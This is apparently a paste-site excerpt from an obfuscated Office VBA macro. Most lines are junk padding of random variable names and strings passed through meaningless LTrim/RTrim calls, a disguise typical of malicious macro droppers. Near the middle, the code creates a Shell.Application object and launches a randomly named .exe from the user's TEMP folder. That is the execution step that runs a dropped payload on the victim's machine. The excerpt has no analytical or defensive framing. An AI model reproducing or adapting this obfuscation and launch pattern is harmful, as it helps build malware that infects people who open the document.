  1303. Dim jdZDZMKn, WoqiHgPk, FbaLYwBW As String
  1304. jdZDZMKn = "           CCTMPI               "
  1305. WoqiHgPk = LTrim(jdZDZMKn)
  1306. FbaLYwBW = RTrim(WoqiHgPk)
  1307.  
  1308. SnADXHql = "           JBZESC               "
  1309. Dim CLrxPmvT, btlhlKiN, FWcMvElI As String
  1310. CLrxPmvT = "           FTZBZM               "
  1311. btlhlKiN = LTrim(CLrxPmvT)
  1312. FWcMvElI = RTrim(btlhlKiN)
  1313.  
  1314. VYfHvRfR = LTrim(SnADXHql)
  1315. Dim kJTzzyJh, RCktRMMn, HeriyIVQ As String
  1316. kJTzzyJh = "           UURPGT               "
  1317. RCktRMMn = LTrim(kJTzzyJh)
  1318. HeriyIVQ = RTrim(RCktRMMn)
  1319.  
  1320. XkJExYMe = RTrim(VYfHvRfR)
  1321.  
  1322. Dim BxreRris, WcggBiTd, Hvvnldef As String
  1323. BxreRris = "           YBRYUW               "
  1324. WcggBiTd = LTrim(BxreRris)
  1325. Hvvnldef = RTrim(WcggBiTd)
  1326.  
  1327. hWxIQHnc = LTrim(lWdxjQex)
  1328. Dim MXZvcYvK, HXSPKPXL, QCXXdGlW As String
  1329. Dim YVtOUTkT, sLDrMNpc, HFmvuwag As String
  1330. YVtOUTkT = "           THLKSA               "
  1331. sLDrMNpc = LTrim(YVtOUTkT)
  1332. HFmvuwag = RTrim(sLDrMNpc)
  1333.  
  1334. MXZvcYvK = "           ESHJRP               "
  1335. Dim tbnHedvk, UPFPSPiQ, XnMfKxll As String
  1336. tbnHedvk = "           BYJJAP               "
  1337. UPFPSPiQ = LTrim(tbnHedvk)
  1338. XnMfKxll = RTrim(UPFPSPiQ)
  1339.  
  1340. HXSPKPXL = LTrim(MXZvcYvK)
  1341. Dim rCDEumWC, jebYIoVi, ZosOqXak As String
  1342. rCDEumWC = "           NPIVJS               "
  1343. jebYIoVi = LTrim(rCDEumWC)
  1344. ZosOqXak = RTrim(jebYIoVi)
  1345.  
  1346. QCXXdGlW = RTrim(HXSPKPXL)
  1347.  
  1348. Dim YtGhfmZm, ZyBAIbNw, cupDeEcx As String
  1349. YtGhfmZm = "           CJCSVR               "
  1350. ZyBAIbNw = LTrim(YtGhfmZm)
  1351. cupDeEcx = RTrim(ZyBAIbNw)
  1352.  
  1353. qXUMyMVb = RTrim(hWxIQHnc)
  1354.  
  1355. Dim MgdcqOqq, bpMKctzz, lnQEgskT As String
  1356. Dim mKgzfBKY, NDXcnlPv, RORKFGAh As String
  1357. mKgzfBKY = "           KZLLDK               "
  1358. NDXcnlPv = LTrim(mKgzfBKY)
  1359. RORKFGAh = RTrim(NDXcnlPv)
  1360.  
  1361. MgdcqOqq = "           SVXSAE               "
  1362. Dim gLBzBsXc, JtdXIOTK, yWlbDmJn As String
  1363. gLBzBsXc = "           RHRCBO               "
  1364. JtdXIOTK = LTrim(gLBzBsXc)
  1365. yWlbDmJn = RTrim(JtdXIOTK)
  1366.  
  1367. bpMKctzz = LTrim(MgdcqOqq)
  1368. Dim QYlsteDm, VDtgUHHT, pLJkoRMH As String
  1369. QYlsteDm = "           VSZVTX               "
  1370. VDtgUHHT = LTrim(QYlsteDm)
  1371. pLJkoRMH = RTrim(VDtgUHHT)
  1372.  
  1373. lnQEgskT = RTrim(bpMKctzz)
  1374.  
  1375. Dim pgpLMNDi, thltgtqo, ahEjOoIp As String
  1376. pgpLMNDi = "           QWUAGM               "
  1377. thltgtqo = LTrim(pgpLMNDi)
  1378. ahEjOoIp = RTrim(thltgtqo)
  1379.  
  1380. Set gdfgfdgdfgdf = CreateObject("Shell.Application")
  1381. gdfgfdgdfgdf.Open Environ("TEMP") & "\YEWZMJFAHIB.exe"
  1382. Dim spQjQKQS, JylQVdZR, OxpxGlJi As String
  1383. Dim PHIxcDmG, dzXjuqrp, AKzMdXhK As String
  1384. Dim WkgozDJh, FItMKMuL, lEDgygVQ As String
  1385. WkgozDJh = "           SBCTXT               "
  1386. FItMKMuL = LTrim(WkgozDJh)
  1387. lEDgygVQ = RTrim(FItMKMuL)
  1388.  
  1389. PHIxcDmG = "           GGWUQC               "
  1390. Dim ZJkPqmgq, JUcfjynL, lLSiNEpf As String
  1391. ZJkPqmgq = "           RROYHW               "
  1392. JUcfjynL = LTrim(ZJkPqmgq)
  1393. lLSiNEpf = RTrim(JUcfjynL)
  1394.  
  1395. dzXjuqrp = LTrim(PHIxcDmG)
  1396. Dim IRIfOFDc, YhsaUHlX, KwVroExu As String
  1397. IRIfOFDc = "           GATHTX               "
  1398. YhsaUHlX = LTrim(IRIfOFDc)
  1399. KwVroExu = RTrim(YhsaUHlX)
  1400.  
  1401. AKzMdXhK = RTrim(dzXjuqrp)
  1402.  
  1403. Dim QTCCNrDB, UTuomoqa, ZYkmGdIz As String
  1404. QTCCNrDB = "           BRAEKX               "
  1405. UTuomoqa = LTrim(QTCCNrDB)
  1406. ZYkmGdIz = RTrim(UTuomoqa)
  1407.  
  1408. spQjQKQS = "           MXOOFU               "
  1409. Dim xGeYOuNy, IXGOqWrj, MzASDOuA As String
  1410. Dim PyXORlGI, hzRrJDUn, MCsbrivl As String
  1411. PyXORlGI = "           UMFKQW               "
  1412. hzRrJDUn = LTrim(PyXORlGI)
  1413. MCsbrivl = RTrim(hzRrJDUn)
  1414.  
  1415. xGeYOuNy = "           OYGBYT               "
  1416. Dim TbjgfsjN, iQToCONl, xAQSzwsz As String
  1417. TbjgfsjN = "           DYDEYO               "
  1418. iQToCONl = LTrim(TbjgfsjN)
  1419. xAQSzwsz = RTrim(iQToCONl)
  1420.  
  1421. IXGOqWrj = LTrim(xGeYOuNy)
  1422. Dim cLvnYnds, OBqEigjx, UPFhyjXW As String
  1423. cLvnYnds = "           PINXRG               "
  1424. OBqEigjx = LTrim(cLvnYnds)
  1425. UPFhyjXW = RTrim(OBqEigjx)
  1426.  
  1427. MzASDOuA = RTrim(IXGOqWrj)
  1428.  
  1429. Dim tlcjOdjI, NmUZejFP, XwKFcwsQ As String
  1430. tlcjOdjI = "           OVFDON               "
  1431. NmUZejFP = LTrim(tlcjOdjI)
  1432. XwKFcwsQ = RTrim(NmUZejFP)
  1433.  
  1434. JylQVdZR = LTrim(spQjQKQS)
  1435. Dim HWKuqQEL, QXelTHaM, YCdRNMvW As String
  1436. Dim dKprwhuT, JDJvIQVc, xObMWyHg As String
  1437. dKprwhuT = "           FZJMJN               "
  1438. JDJvIQVc = LTrim(dKprwhuT)
  1439. xObMWyHg = RTrim(JDJvIQVc)
  1440.  
  1441. HWKuqQEL = "           ASVICS               "
  1442. Dim uHpHKnJL, wYhlVseA, VJRfUOSX As String
  1443. uHpHKnJL = "           MRTOYC               "
  1444. wYhlVseA = LTrim(uHpHKnJL)
  1445. VJRfUOSX = RTrim(wYhlVseA)
  1446.  
  1447. QXelTHaM = LTrim(HWKuqQEL)
  1448. Dim rUIHbNCp, hDmLzFal, ALuXEArR As String
  1449. rUIHbNCp = "           NZTRAZ               "
  1450. hDmLzFal = LTrim(rUIHbNCp)
  1451. ALuXEArR = RTrim(hDmLzFal)
  1452.  
  1453. YCdRNMvW = RTrim(QXelTHaM)
  1454.  
  1455. Dim hIlFfurA, qOENIsAZ, uPDsehBR As String
  1456. hIlFfurA = "           FTSBBC               "
  1457. qOENIsAZ = LTrim(hIlFfurA)
  1458. uPDsehBR = RTrim(qOENIsAZ)
  1459.  
  1460. OxpxGlJi = RTrim(JylQVdZR)
  1461.  
  1462. Dim fEPZavPZ, KbkCfMZm, cmNlngls As String
  1463. Dim tgbNSIOI, CRhQZGVs, ZnVyHpHe As String
  1464. tgbNSIOI = "           JVENFZ               "
  1465. CRhQZGVs = LTrim(tgbNSIOI)
  1466. ZnVyHpHe = RTrim(CRhQZGVs)
  1467.  
  1468. fEPZavPZ = "           WYIGXV               "
  1469. Dim jkCepHbQ, TizYgAQl, iljnBBmD As String
  1470. jkCepHbQ = "           VKVGGT               "
  1471. TizYgAQl = LTrim(jkCepHbQ)
  1472. iljnBBmD = RTrim(TizYgAQl)
  1473.  
  1474. KbkCfMZm = LTrim(fEPZavPZ)
  1475. Dim XyDASvcv, isbRgdnO, lksUHNEL As String
  1476. XyDASvcv = "           XFICUF               "
  1477. isbRgdnO = LTrim(XyDASvcv)
  1478. lksUHNEL = RTrim(isbRgdnO)
  1479.  
  1480. cmNlngls = RTrim(KbkCfMZm)
  1481.  
  1482. Dim SASlBtnJ, IZXRloVK, EZyHDfwM As String
  1483. SASlBtnJ = "           NZWFJX               "
  1484. IZXRloVK = LTrim(SASlBtnJ)
  1485. EZyHDfwM = RTrim(IZXRloVK)
  1486.  
  1487.      
  1488. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement